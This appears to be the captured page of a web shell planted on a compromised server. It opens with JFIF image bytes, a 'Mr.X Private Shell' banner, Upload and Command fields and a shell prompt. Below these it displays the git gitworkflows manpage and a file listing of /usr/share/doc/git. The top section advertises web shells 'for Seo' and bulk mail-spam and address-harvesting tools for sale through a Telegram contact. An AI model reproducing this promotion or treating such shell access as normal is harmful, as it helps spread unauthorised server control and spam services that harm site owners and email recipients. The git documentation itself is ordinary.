����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

antiaginglove@216.73.216.231: ~ $ 
gitworkflows(7)
===============

NAME
----
gitworkflows - An overview of recommended workflows with Git

SYNOPSIS
--------
[verse]
git *


DESCRIPTION
-----------

This document attempts to write down and motivate some of the workflow
elements used for `git.git` itself.  Many ideas apply in general,
though the full workflow is rarely required for smaller projects with
fewer people involved.

We formulate a set of 'rules' for quick reference, while the prose
tries to motivate each of them.  Do not always take them literally;
you should value good reasons for your actions higher than manpages
such as this one.


SEPARATE CHANGES
----------------

As a general rule, you should try to split your changes into small
logical steps, and commit each of them.  They should be consistent,
working independently of any later commits, pass the test suite, etc.
This makes the review process much easier, and the history much more
useful for later inspection and analysis, for example with
linkgit:git-blame[1] and linkgit:git-bisect[1].

To achieve this, try to split your work into small steps from the very
beginning. It is always easier to squash a few commits together than
to split one big commit into several.  Don't be afraid of making too
small or imperfect steps along the way. You can always go back later
and edit the commits with `git rebase --interactive` before you
publish them.  You can use `git stash push --keep-index` to run the
test suite independent of other uncommitted changes; see the EXAMPLES
section of linkgit:git-stash[1].


MANAGING BRANCHES
-----------------

There are two main tools that can be used to include changes from one
branch on another: linkgit:git-merge[1] and
linkgit:git-cherry-pick[1].

Merges have many advantages, so we try to solve as many problems as
possible with merges alone.  Cherry-picking is still occasionally
useful; see "Merging upwards" below for an example.

Most importantly, merging works at the branch level, while
cherry-picking works at the commit level.  This means that a merge can
carry over the changes from 1, 10, or 1000 commits with equal ease,
which in turn means the workflow scales much better to a large number
of contributors (and contributions).  Merges are also easier to
understand because a merge commit is a "promise" that all changes from
all its parents are now included.

There is a tradeoff of course: merges require a more careful branch
management.  The following subsections discuss the important points.


Graduation
~~~~~~~~~~

As a given feature goes from experimental to stable, it also
"graduates" between the corresponding branches of the software.
`git.git` uses the following 'integration branches':

* 'maint' tracks the commits that should go into the next "maintenance
  release", i.e., update of the last released stable version;

* 'master' tracks the commits that should go into the next release;

* 'next' is intended as a testing branch for topics being tested for
  stability for master.

There is a fourth official branch that is used slightly differently:

* 'seen' (patches seen by the maintainer) is an integration branch for
  things that are not quite ready for inclusion yet (see "Integration
  Branches" below).

Each of the four branches is usually a direct descendant of the one
above it.

Conceptually, the feature enters at an unstable branch (usually 'next'
or 'seen'), and "graduates" to 'master' for the next release once it is
considered stable enough.


Merging upwards
~~~~~~~~~~~~~~~

The "downwards graduation" discussed above cannot be done by actually
merging downwards, however, since that would merge 'all' changes on
the unstable branch into the stable one.  Hence the following:

.Merge upwards
[caption="Rule: "]
=====================================
Always commit your fixes to the oldest supported branch that requires
them.  Then (periodically) merge the integration branches upwards into each
other.
=====================================

This gives a very controlled flow of fixes.  If you notice that you
have applied a fix to e.g. 'master' that is also required in 'maint',
you will need to cherry-pick it (using linkgit:git-cherry-pick[1])
downwards.  This will happen a few times and is nothing to worry about
unless you do it very frequently.


Topic branches
~~~~~~~~~~~~~~

Any nontrivial feature will require several patches to implement, and
may get extra bugfixes or improvements during its lifetime.

Committing everything directly on the integration branches leads to many
problems: Bad commits cannot be undone, so they must be reverted one
by one, which creates confusing histories and further error potential
when you forget to revert part of a group of changes.  Working in
parallel mixes up the changes, creating further confusion.

Use of "topic branches" solves these problems.  The name is pretty
self explanatory, with a caveat that comes from the "merge upwards"
rule above:

.Topic branches
[caption="Rule: "]
=====================================
Make a side branch for every topic (feature, bugfix, ...). Fork it off
at the oldest integration branch that you will eventually want to merge it
into.
=====================================

Many things can then be done very naturally:

* To get the feature/bugfix into an integration branch, simply merge
  it.  If the topic has evolved further in the meantime, merge again.
  (Note that you do not necessarily have to merge it to the oldest
  integration branch first.  For example, you can first merge a bugfix
  to 'next', give it some testing time, and merge to 'maint' when you
  know it is stable.)

* If you find you need new features from the branch 'other' to continue
  working on your topic, merge 'other' to 'topic'.  (However, do not
  do this "just habitually", see below.)

* If you find you forked off the wrong branch and want to move it
  "back in time", use linkgit:git-rebase[1].

Note that the last point clashes with the other two: a topic that has
been merged elsewhere should not be rebased.  See the section on
RECOVERING FROM UPSTREAM REBASE in linkgit:git-rebase[1].

We should point out that "habitually" (regularly for no real reason)
merging an integration branch into your topics -- and by extension,
merging anything upstream into anything downstream on a regular basis
-- is frowned upon:

.Merge to downstream only at well-defined points
[caption="Rule: "]
=====================================
Do not merge to downstream except with a good reason: upstream API
changes affect your branch; your branch no longer merges to upstream
cleanly; etc.
=====================================

Otherwise, the topic that was merged to suddenly contains more than a
single (well-separated) change.  The many resulting small merges will
greatly clutter up history.  Anyone who later investigates the history
of a file will have to find out whether that merge affected the topic
in development.  An upstream might even inadvertently be merged into a
"more stable" branch.  And so on.


Throw-away integration
~~~~~~~~~~~~~~~~~~~~~~

If you followed the last paragraph, you will now have many small topic
branches, and occasionally wonder how they interact.  Perhaps the
result of merging them does not even work?  But on the other hand, we
want to avoid merging them anywhere "stable" because such merges
cannot easily be undone.

The solution, of course, is to make a merge that we can undo: merge
into a throw-away branch.

.Throw-away integration branches
[caption="Rule: "]
=====================================
To test the interaction of several topics, merge them into a
throw-away branch.  You must never base any work on such a branch!
=====================================

If you make it (very) clear that this branch is going to be deleted
right after the testing, you can even publish this branch, for example
to give the testers a chance to work with it, or other developers a
chance to see if their in-progress work will be compatible.  `git.git`
has such an official throw-away integration branch called 'seen'.


Branch management for a release
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Assuming you are using the merge approach discussed above, when you
are releasing your project you will need to do some additional branch
management work.

A feature release is created from the 'master' branch, since 'master'
tracks the commits that should go into the next feature release.

The 'master' branch is supposed to be a superset of 'maint'. If this
condition does not hold, then 'maint' contains some commits that
are not included on 'master'. The fixes represented by those commits
will therefore not be included in your feature release.

To verify that 'master' is indeed a superset of 'maint', use git log:

.Verify 'master' is a superset of 'maint'
[caption="Recipe: "]
=====================================
`git log master..maint`
=====================================

This command should not list any commits.  Otherwise, check out
'master' and merge 'maint' into it.

Now you can proceed with the creation of the feature release. Apply a
tag to the tip of 'master' indicating the release version:

.Release tagging
[caption="Recipe: "]
=====================================
`git tag -s -m "Git X.Y.Z" vX.Y.Z master`
=====================================

You need to push the new tag to a public Git server (see
"DISTRIBUTED WORKFLOWS" below). This makes the tag available to
others tracking your project. The push could also trigger a
post-update hook to perform release-related items such as building
release tarballs and preformatted documentation pages.

Similarly, for a maintenance release, 'maint' is tracking the commits
to be released. Therefore, in the steps above simply tag and push
'maint' rather than 'master'.


Maintenance branch management after a feature release
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

After a feature release, you need to manage your maintenance branches.

First, if you wish to continue to release maintenance fixes for the
feature release made before the recent one, then you must create
another branch to track commits for that previous release.

To do this, the current maintenance branch is copied to another branch
named with the previous release version number (e.g. maint-X.Y.(Z-1)
where X.Y.Z is the current release).

.Copy maint
[caption="Recipe: "]
=====================================
`git branch maint-X.Y.(Z-1) maint`
=====================================

The 'maint' branch should now be fast-forwarded to the newly released
code so that maintenance fixes can be tracked for the current release:

.Update maint to new release
[caption="Recipe: "]
=====================================
* `git checkout maint`
* `git merge --ff-only master`
=====================================

If the merge fails because it is not a fast-forward, then it is
possible some fixes on 'maint' were missed in the feature release.
This will not happen if the content of the branches was verified as
described in the previous section.


Branch management for next and seen after a feature release
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

After a feature release, the integration branch 'next' may optionally be
rewound and rebuilt from the tip of 'master' using the surviving
topics on 'next':

.Rewind and rebuild next
[caption="Recipe: "]
=====================================
* `git switch -C next master`
* `git merge ai/topic_in_next1`
* `git merge ai/topic_in_next2`
* ...
=====================================

The advantage of doing this is that the history of 'next' will be
clean. For example, some topics merged into 'next' may have initially
looked promising, but were later found to be undesirable or premature.
In such a case, the topic is reverted out of 'next' but the fact
remains in the history that it was once merged and reverted. By
recreating 'next', you give another incarnation of such topics a clean
slate to retry, and a feature release is a good point in history to do
so.

If you do this, then you should make a public announcement indicating
that 'next' was rewound and rebuilt.

The same rewind and rebuild process may be followed for 'seen'. A public
announcement is not necessary since 'seen' is a throw-away branch, as
described above.


DISTRIBUTED WORKFLOWS
---------------------

After the last section, you should know how to manage topics.  In
general, you will not be the only person working on the project, so
you will have to share your work.

Roughly speaking, there are two important workflows: merge and patch.
The important difference is that the merge workflow can propagate full
history, including merges, while patches cannot.  Both workflows can
be used in parallel: in `git.git`, only subsystem maintainers use
the merge workflow, while everyone else sends patches.

Note that the maintainer(s) may impose restrictions, such as
"Signed-off-by" requirements, that all commits/patches submitted for
inclusion must adhere to.  Consult your project's documentation for
more information.


Merge workflow
~~~~~~~~~~~~~~

The merge workflow works by copying branches between upstream and
downstream.  Upstream can merge contributions into the official
history; downstream base their work on the official history.

There are three main tools that can be used for this:

* linkgit:git-push[1] copies your branches to a remote repository,
  usually to one that can be read by all involved parties;

* linkgit:git-fetch[1] that copies remote branches to your repository;
  and

* linkgit:git-pull[1] that does fetch and merge in one go.

Note the last point.  Do 'not' use 'git pull' unless you actually want
to merge the remote branch.

Getting changes out is easy:

.Push/pull: Publishing branches/topics
[caption="Recipe: "]
=====================================
`git push <remote> <branch>` and tell everyone where they can fetch
from.
=====================================

You will still have to tell people by other means, such as mail.  (Git
provides the linkgit:git-request-pull[1] to send preformatted pull
requests to upstream maintainers to simplify this task.)

If you just want to get the newest copies of the integration branches,
staying up to date is easy too:

.Push/pull: Staying up to date
[caption="Recipe: "]
=====================================
Use `git fetch <remote>` or `git remote update` to stay up to date.
=====================================

Then simply fork your topic branches from the stable remotes as
explained earlier.

If you are a maintainer and would like to merge other people's topic
branches to the integration branches, they will typically send a
request to do so by mail.  Such a request looks like

-------------------------------------
Please pull from
    <URL> <branch>
-------------------------------------

In that case, 'git pull' can do the fetch and merge in one go, as
follows.

.Push/pull: Merging remote topics
[caption="Recipe: "]
=====================================
`git pull <URL> <branch>`
=====================================

Occasionally, the maintainer may get merge conflicts when they try to
pull changes from downstream.  In this case, they can ask downstream to
do the merge and resolve the conflicts themselves (perhaps they will
know better how to resolve them).  It is one of the rare cases where
downstream 'should' merge from upstream.


Patch workflow
~~~~~~~~~~~~~~

If you are a contributor that sends changes upstream in the form of
emails, you should use topic branches as usual (see above).  Then use
linkgit:git-format-patch[1] to generate the corresponding emails
(highly recommended over manually formatting them because it makes the
maintainer's life easier).

.format-patch/am: Publishing branches/topics
[caption="Recipe: "]
=====================================
* `git format-patch -M upstream..topic` to turn them into preformatted
  patch files
* `git send-email --to=<recipient> <patches>`
=====================================

See the linkgit:git-format-patch[1] and linkgit:git-send-email[1]
manpages for further usage notes.

If the maintainer tells you that your patch no longer applies to the
current upstream, you will have to rebase your topic (you cannot use a
merge because you cannot format-patch merges):

.format-patch/am: Keeping topics up to date
[caption="Recipe: "]
=====================================
`git pull --rebase <URL> <branch>`
=====================================

You can then fix the conflicts during the rebase.  Presumably you have
not published your topic other than by mail, so rebasing it is not a
problem.

If you receive such a patch series (as maintainer, or perhaps as a
reader of the mailing list it was sent to), save the mails to files,
create a new topic branch and use 'git am' to import the commits:

.format-patch/am: Importing patches
[caption="Recipe: "]
=====================================
`git am < patch`
=====================================

One feature worth pointing out is the three-way merge, which can help
if you get conflicts: `git am -3` will use index information contained
in patches to figure out the merge base.  See linkgit:git-am[1] for
other options.


SEE ALSO
--------
linkgit:gittutorial[7],
linkgit:git-push[1],
linkgit:git-pull[1],
linkgit:git-merge[1],
linkgit:git-rebase[1],
linkgit:git-format-patch[1],
linkgit:git-send-email[1],
linkgit:git-am[1]

GIT
---
Part of the linkgit:git[1] suite

Filemanager

DIR : / usr/ share/ doc/ git/
Name Type Size Permission Actions
RelNotes Folder 0755
contrib Folder 0755
howto Folder 0755
technical Folder 0755
BreakingChanges.adoc File 16.64 KB 0644
BreakingChanges.html File 49.87 KB 0644
CODE_OF_CONDUCT.md File 5.85 KB 0644
DecisionMaking.adoc File 3.77 KB 0644
DecisionMaking.html File 34.35 KB 0644
MyFirstContribution.adoc File 55.2 KB 0644
MyFirstContribution.html File 106.17 KB 0644
MyFirstObjectWalk.adoc File 28.88 KB 0644
MyFirstObjectWalk.html File 73.09 KB 0644
README.md File 3.58 KB 0644
ReviewingGuidelines.adoc File 8.69 KB 0644
ReviewingGuidelines.html File 40.35 KB 0644
SubmittingPatches.adoc File 38.07 KB 0644
SubmittingPatches.html File 78.92 KB 0644
ToolsForGit.adoc File 1.32 KB 0644
ToolsForGit.html File 32.47 KB 0644
blame-options.adoc File 5.96 KB 0644
cmds-ancillaryinterrogators.adoc File 1.26 KB 0644
cmds-ancillarymanipulators.adoc File 796 B 0644
cmds-developerinterfaces.adoc File 678 B 0644
cmds-foreignscminterface.adoc File 399 B 0644
cmds-guide.adoc File 833 B 0644
cmds-mainporcelain.adoc File 3.01 KB 0644
cmds-plumbinginterrogators.adoc File 1.73 KB 0644
cmds-plumbingmanipulators.adoc File 1.47 KB 0644
cmds-purehelpers.adoc File 1.24 KB 0644
cmds-synchelpers.adoc File 449 B 0644
cmds-synchingrepositories.adoc File 397 B 0644
cmds-userinterfaces.adoc File 507 B 0644
config.adoc File 18.27 KB 0644
date-formats.adoc File 1.14 KB 0644
diff-context-options.adoc File 372 B 0644
diff-format.adoc File 6.44 KB 0644
diff-generate-patch.adoc File 7.02 KB 0644
diff-options.adoc File 33.21 KB 0644
docbook-xsl.css File 4.45 KB 0644
docinfo.html File 50 B 0644
everyday.html File 30.27 KB 0644
fetch-options.adoc File 12.36 KB 0644
for-each-ref-options.adoc File 3.02 KB 0644
fsck-msgids.adoc File 6.37 KB 0644
git-add.adoc File 15.64 KB 0644
git-add.html File 53.06 KB 0644
git-am.adoc File 9.39 KB 0644
git-am.html File 45.37 KB 0644
git-annotate.adoc File 772 B 0644
git-annotate.html File 40.83 KB 0644
git-apply.adoc File 10.89 KB 0644
git-apply.html File 45.13 KB 0644
git-archive.adoc File 8.27 KB 0644
git-archive.html File 42.43 KB 0644
git-backfill.adoc File 2.52 KB 0644
git-backfill.html File 33.77 KB 0644
git-bisect-lk2009.adoc File 48.53 KB 0644
git-bisect-lk2009.html File 91.41 KB 0644
git-bisect.adoc File 17.77 KB 0644
git-bisect.html File 53.82 KB 0644
git-blame.adoc File 8.66 KB 0644
git-blame.html File 53.85 KB 0644
git-branch.adoc File 15.67 KB 0644
git-branch.html File 62.71 KB 0644
git-bugreport.adoc File 2.51 KB 0644
git-bugreport.html File 33.75 KB 0644
git-bundle.adoc File 13 KB 0644
git-bundle.html File 47.71 KB 0644
git-cat-file.adoc File 14.66 KB 0644
git-cat-file.html File 51.94 KB 0644
git-check-attr.adoc File 3.32 KB 0644
git-check-attr.html File 35.31 KB 0644
git-check-ignore.adoc File 4.06 KB 0644
git-check-ignore.html File 36.04 KB 0644
git-check-mailmap.adoc File 1.54 KB 0644
git-check-mailmap.html File 32.63 KB 0644
git-check-ref-format.adoc File 4.93 KB 0644
git-check-ref-format.html File 36.9 KB 0644
git-checkout-index.adoc File 5.54 KB 0644
git-checkout-index.html File 38 KB 0644
git-checkout.adoc File 21.72 KB 0644
git-checkout.html File 66.35 KB 0644
git-cherry-pick.adoc File 8.97 KB 0644
git-cherry-pick.html File 43.87 KB 0644
git-cherry.adoc File 3.53 KB 0644
git-cherry.html File 35.42 KB 0644
git-clean.adoc File 4.63 KB 0644
git-clean.html File 36.81 KB 0644
git-clone.adoc File 15.88 KB 0644
git-clone.html File 60.38 KB 0644
git-column.adoc File 2.15 KB 0644
git-column.html File 35.98 KB 0644
git-commit-graph.adoc File 5.89 KB 0644
git-commit-graph.html File 41.03 KB 0644
git-commit-tree.adoc File 2.65 KB 0644
git-commit-tree.html File 39.44 KB 0644
git-commit.adoc File 21.16 KB 0644
git-commit.html File 70.5 KB 0644
git-config.adoc File 20.88 KB 0644
git-config.html File 445.55 KB 0644
git-contacts.adoc File 2.52 KB 0644
git-contacts.html File 33.92 KB 0644
git-count-objects.adoc File 1.35 KB 0644
git-count-objects.html File 32.25 KB 0644
git-credential-cache--daemon.adoc File 891 B 0644
git-credential-cache--daemon.html File 31.46 KB 0644
git-credential-cache.adoc File 3.12 KB 0644
git-credential-cache.html File 34.16 KB 0644
git-credential-store.adoc File 3.55 KB 0644
git-credential-store.html File 35.03 KB 0644
git-credential.adoc File 11.95 KB 0644
git-credential.html File 45.38 KB 0644
git-describe.adoc File 8.12 KB 0644
git-describe.html File 40.6 KB 0644
git-diagnose.adoc File 2.16 KB 0644
git-diagnose.html File 33.22 KB 0644
git-diff-files.adoc File 1.2 KB 0644
git-diff-files.html File 92.09 KB 0644
git-diff-index.adoc File 4.7 KB 0644
git-diff-index.html File 97.13 KB 0644
git-diff-pairs.adoc File 1.96 KB 0644
git-diff-pairs.html File 83.75 KB 0644
git-diff-tree.adoc File 4.09 KB 0644
git-diff-tree.html File 126.96 KB 0644
git-diff.adoc File 8.28 KB 0644
git-diff.html File 119.69 KB 0644
git-difftool.adoc File 4.49 KB 0644
git-difftool.html File 42.05 KB 0644
git-fast-export.adoc File 12.37 KB 0644
git-fast-export.html File 45.54 KB 0644
git-fast-import.adoc File 61.52 KB 0644
git-fast-import.html File 114.47 KB 0644
git-fetch-pack.adoc File 4.14 KB 0644
git-fetch-pack.html File 35.78 KB 0644
git-fetch.adoc File 11.54 KB 0644
git-fetch.html File 88.96 KB 0644
git-filter-branch.adoc File 30.3 KB 0644
git-filter-branch.html File 65.75 KB 0644
git-fmt-merge-msg.adoc File 1.9 KB 0644
git-fmt-merge-msg.html File 34.3 KB 0644
git-for-each-ref.adoc File 15.81 KB 0644
git-for-each-ref.html File 60.05 KB 0644
git-for-each-repo.adoc File 1.9 KB 0644
git-for-each-repo.html File 33.09 KB 0644
git-format-patch.adoc File 29.21 KB 0644
git-format-patch.html File 94.24 KB 0644
git-fsck-objects.adoc File 354 B 0644
git-fsck-objects.html File 30.7 KB 0644
git-fsck.adoc File 5.99 KB 0644
git-fsck.html File 53.52 KB 0644
git-fsmonitor--daemon.adoc File 3.53 KB 0644
git-fsmonitor--daemon.html File 35.9 KB 0644
git-gc.adoc File 6.59 KB 0644
git-gc.html File 49.01 KB 0644
git-get-tar-commit-id.adoc File 753 B 0644
git-get-tar-commit-id.html File 31.12 KB 0644
git-grep.adoc File 11.05 KB 0644
git-grep.html File 47.94 KB 0644
git-hash-object.adoc File 2.09 KB 0644
git-hash-object.html File 32.91 KB 0644
git-help.adoc File 7.35 KB 0644
git-help.html File 40.88 KB 0644
git-hook.adoc File 1 KB 0644
git-hook.html File 31.95 KB 0644
git-http-backend.adoc File 11.36 KB 0644
git-http-backend.html File 43.53 KB 0644
git-http-fetch.adoc File 1.74 KB 0644
git-http-fetch.html File 32.71 KB 0644
git-http-push.adoc File 2.92 KB 0644
git-http-push.html File 34.32 KB 0644
git-imap-send.adoc File 6.46 KB 0644
git-imap-send.html File 42.43 KB 0644
git-index-pack.adoc File 6.15 KB 0644
git-index-pack.html File 38.61 KB 0644
git-init-db.adoc File 409 B 0644
git-init-db.html File 30.76 KB 0644
git-init.adoc File 6.08 KB 0644
git-init.html File 41.3 KB 0644
git-interpret-trailers.adoc File 12.54 KB 0644
git-interpret-trailers.html File 53.71 KB 0644
git-last-modified.adoc File 1.33 KB 0644
git-last-modified.html File 32.41 KB 0644
git-log.adoc File 6.79 KB 0644
git-log.html File 191.76 KB 0644
git-ls-files.adoc File 11.83 KB 0644
git-ls-files.html File 47 KB 0644
git-ls-remote.adoc File 5.01 KB 0644
git-ls-remote.html File 37.24 KB 0644
git-ls-tree.adoc File 5.39 KB 0644
git-ls-tree.html File 38.16 KB 0644
git-mailinfo.adoc File 3.78 KB 0644
git-mailinfo.html File 36.02 KB 0644
git-mailsplit.adoc File 1.31 KB 0644
git-mailsplit.html File 32.31 KB 0644
git-maintenance.adoc File 19.28 KB 0644
git-maintenance.html File 64.48 KB 0644
git-merge-base.adoc File 7.58 KB 0644
git-merge-base.html File 41.4 KB 0644
git-merge-file.adoc File 3.98 KB 0644
git-merge-file.html File 36.22 KB 0644
git-merge-index.adoc File 2.39 KB 0644
git-merge-index.html File 33.51 KB 0644
git-merge-one-file.adoc File 387 B 0644
git-merge-one-file.html File 30.72 KB 0644
git-merge-tree.adoc File 12.62 KB 0644
git-merge-tree.html File 47.06 KB 0644
git-merge.adoc File 14.79 KB 0644
git-merge.html File 83.48 KB 0644
git-mergetool--lib.adoc File 1.43 KB 0644
git-mergetool--lib.html File 32.23 KB 0644
git-mergetool.adoc File 4.41 KB 0644
git-mergetool.html File 53.3 KB 0644
git-mktag.adoc File 1.74 KB 0644
git-mktag.html File 33.01 KB 0644
git-mktree.adoc File 1.05 KB 0644
git-mktree.html File 31.64 KB 0644
git-multi-pack-index.adoc File 5.03 KB 0644
git-multi-pack-index.html File 37 KB 0644
git-mv.adoc File 2.04 KB 0644
git-mv.html File 33.39 KB 0644
git-name-rev.adoc File 3.27 KB 0644
git-name-rev.html File 34.5 KB 0644
git-notes.adoc File 14 KB 0644
git-notes.html File 56.05 KB 0644
git-pack-objects.adoc File 21.46 KB 0644
git-pack-objects.html File 56.16 KB 0644
git-pack-redundant.adoc File 1.83 KB 0644
git-pack-redundant.html File 33.01 KB 0644
git-pack-refs.adoc File 1.66 KB 0644
git-pack-refs.html File 35.09 KB 0644
git-patch-id.adoc File 2.37 KB 0644
git-patch-id.html File 33.47 KB 0644
git-prune-packed.adoc File 946 B 0644
git-prune-packed.html File 31.75 KB 0644
git-prune.adoc File 1.87 KB 0644
git-prune.html File 33.37 KB 0644
git-pull.adoc File 7.7 KB 0644
git-pull.html File 90.41 KB 0644
git-push.adoc File 28.59 KB 0644
git-push.html File 90 KB 0644
git-quiltimport.adoc File 1.65 KB 0644
git-quiltimport.html File 32.57 KB 0644
git-range-diff.adoc File 10.72 KB 0644
git-range-diff.html File 45.43 KB 0644
git-read-tree.adoc File 16.52 KB 0644
git-read-tree.html File 51.16 KB 0644
git-rebase.adoc File 45.65 KB 0644
git-rebase.html File 106.94 KB 0644
git-receive-pack.adoc File 9.98 KB 0644
git-receive-pack.html File 43.53 KB 0644
git-reflog.adoc File 5.52 KB 0644
git-reflog.html File 38.51 KB 0644
git-refs.adoc File 3.22 KB 0644
git-refs.html File 43.37 KB 0644
git-remote-ext.adoc File 3.88 KB 0644
git-remote-ext.html File 35.66 KB 0644
git-remote-fd.adoc File 1.59 KB 0644
git-remote-fd.html File 32.82 KB 0644
git-remote-helpers.html File 30.25 KB 0644
git-remote.adoc File 8.56 KB 0644
git-remote.html File 43.07 KB 0644
git-repack.adoc File 11.2 KB 0644
git-repack.html File 45.04 KB 0644
git-replace.adoc File 5.09 KB 0644
git-replace.html File 37.54 KB 0644
git-replay.adoc File 4.29 KB 0644
git-replay.html File 90.78 KB 0644
git-repo.adoc File 3.36 KB 0644
git-repo.html File 35.99 KB 0644
git-request-pull.adoc File 1.99 KB 0644
git-request-pull.html File 33.35 KB 0644
git-rerere.adoc File 7.6 KB 0644
git-rerere.html File 39.92 KB 0644
git-reset.adoc File 18.78 KB 0644
git-reset.html File 57.85 KB 0644
git-restore.adoc File 6.9 KB 0644
git-restore.html File 41.63 KB 0644
git-rev-list.adoc File 3.15 KB 0644
git-rev-list.html File 129.4 KB 0644
git-rev-parse.adoc File 16.64 KB 0644
git-rev-parse.html File 74.9 KB 0644
git-revert.adoc File 5.3 KB 0644
git-revert.html File 39.11 KB 0644
git-rm.adoc File 7.11 KB 0644
git-rm.html File 40.73 KB 0644
git-send-pack.adoc File 5.05 KB 0644
git-send-pack.html File 37.18 KB 0644
git-sh-i18n--envsubst.adoc File 928 B 0644
git-sh-i18n--envsubst.html File 31.46 KB 0644
git-sh-i18n.adoc File 1.12 KB 0644
git-sh-i18n.html File 31.79 KB 0644
git-sh-setup.adoc File 2.91 KB 0644
git-sh-setup.html File 34.1 KB 0644
git-shell.adoc File 2.91 KB 0644
git-shell.html File 34.49 KB 0644
git-shortlog.adoc File 4.31 KB 0644
git-shortlog.html File 75.95 KB 0644
git-show-branch.adoc File 6.44 KB 0644
git-show-branch.html File 39.05 KB 0644
git-show-index.adoc File 1.46 KB 0644
git-show-index.html File 32.71 KB 0644
git-show-ref.adoc File 6.6 KB 0644
git-show-ref.html File 38.82 KB 0644
git-show.adoc File 1.89 KB 0644
git-show.html File 122.94 KB 0644
git-sparse-checkout.adoc File 22.22 KB 0644
git-sparse-checkout.html File 58.47 KB 0644
git-stage.adoc File 299 B 0644
git-stage.html File 30.65 KB 0644
git-stash.adoc File 15.76 KB 0644
git-stash.html File 55 KB 0644
git-status.adoc File 19.9 KB 0644
git-status.html File 57.21 KB 0644
git-stripspace.adoc File 1.92 KB 0644
git-stripspace.html File 33.1 KB 0644
git-submodule.adoc File 21.1 KB 0644
git-submodule.html File 57.83 KB 0644
git-switch.adoc File 8.69 KB 0644
git-switch.html File 46.37 KB 0644
git-symbolic-ref.adoc File 2.32 KB 0644
git-symbolic-ref.html File 33.72 KB 0644
git-tag.adoc File 14.63 KB 0644
git-tag.html File 55.53 KB 0644
git-tools.adoc File 422 B 0644
git-tools.html File 30.48 KB 0644
git-unpack-file.adoc File 434 B 0644
git-unpack-file.html File 30.91 KB 0644
git-unpack-objects.adoc File 1.19 KB 0644
git-unpack-objects.html File 31.94 KB 0644
git-update-index.adoc File 23.48 KB 0644
git-update-index.html File 61.22 KB 0644
git-update-ref.adoc File 7.43 KB 0644
git-update-ref.html File 40.78 KB 0644
git-update-server-info.adoc File 801 B 0644
git-update-server-info.html File 31.48 KB 0644
git-upload-archive.adoc File 2.04 KB 0644
git-upload-archive.html File 33.03 KB 0644
git-upload-pack.adoc File 2.94 KB 0644
git-upload-pack.html File 34.59 KB 0644
git-var.adoc File 3.07 KB 0644
git-var.html File 34.64 KB 0644
git-verify-commit.adoc File 573 B 0644
git-verify-commit.html File 31.24 KB 0644
git-verify-pack.adoc File 1.05 KB 0644
git-verify-pack.html File 32.14 KB 0644
git-verify-tag.adoc File 564 B 0644
git-verify-tag.html File 31.25 KB 0644
git-version.adoc File 1.01 KB 0644
git-version.html File 31.72 KB 0644
git-web--browse.adoc File 3.49 KB 0644
git-web--browse.html File 35.36 KB 0644
git-whatchanged.adoc File 1.27 KB 0644
git-whatchanged.html File 32.38 KB 0644
git-worktree.adoc File 21.01 KB 0644
git-worktree.html File 61.82 KB 0644
git-write-tree.adoc File 1.01 KB 0644
git-write-tree.html File 31.81 KB 0644
git.adoc File 44.78 KB 0644
git.html File 114.58 KB 0644
gitattributes.adoc File 49.31 KB 0644
gitattributes.html File 93.83 KB 0644
gitcli.adoc File 11.05 KB 0644
gitcli.html File 44.96 KB 0644
gitcore-tutorial.adoc File 60.78 KB 0644
gitcore-tutorial.html File 110.5 KB 0644
gitcredentials.adoc File 11.9 KB 0644
gitcredentials.html File 45.7 KB 0644
gitdiffcore.adoc File 13.75 KB 0644
gitdiffcore.html File 46.27 KB 0644
giteveryday.adoc File 14.08 KB 0644
giteveryday.html File 50.45 KB 0644
gitfaq.adoc File 25.85 KB 0644
gitfaq.html File 62.81 KB 0644
gitformat-bundle.adoc File 3.18 KB 0644
gitformat-bundle.html File 34.5 KB 0644
gitformat-chunk.adoc File 5.43 KB 0644
gitformat-chunk.html File 37.63 KB 0644
gitformat-commit-graph.adoc File 7.9 KB 0644
gitformat-commit-graph.html File 40.99 KB 0644
gitformat-index.adoc File 14.82 KB 0644
gitformat-index.html File 51.26 KB 0644
gitformat-loose.adoc File 1.82 KB 0644
gitformat-loose.html File 32.63 KB 0644
gitformat-pack.adoc File 26.6 KB 0644
gitformat-pack.html File 66.8 KB 0644
gitformat-signature.adoc File 7.9 KB 0644
gitformat-signature.html File 40.45 KB 0644
gitglossary.adoc File 359 B 0644
gitglossary.html File 72.52 KB 0644
githooks.adoc File 28.95 KB 0644
githooks.html File 69.51 KB 0644
gitignore.adoc File 8.99 KB 0644
gitignore.html File 41.23 KB 0644
gitmailmap.adoc File 3.47 KB 0644
gitmailmap.html File 35.82 KB 0644
gitmodules.adoc File 4.69 KB 0644
gitmodules.html File 36.81 KB 0644
gitnamespaces.adoc File 2.45 KB 0644
gitnamespaces.html File 35.24 KB 0644
gitpacking.adoc File 7.29 KB 0644
gitpacking.html File 45.18 KB 0644
gitprotocol-capabilities.adoc File 14.95 KB 0644
gitprotocol-capabilities.html File 49.99 KB 0644
gitprotocol-common.adoc File 3.1 KB 0644
gitprotocol-common.html File 34.55 KB 0644
gitprotocol-http.adoc File 17.57 KB 0644
gitprotocol-http.html File 55.35 KB 0644
gitprotocol-pack.adoc File 27.03 KB 0644
gitprotocol-pack.html File 64.46 KB 0644
gitprotocol-v2.adoc File 34.75 KB 0644
gitprotocol-v2.html File 75.14 KB 0644
gitremote-helpers.adoc File 21.15 KB 0644
gitremote-helpers.html File 58.39 KB 0644
gitrepository-layout.adoc File 11.61 KB 0644
gitrepository-layout.html File 48.94 KB 0644
gitrevisions.adoc File 824 B 0644
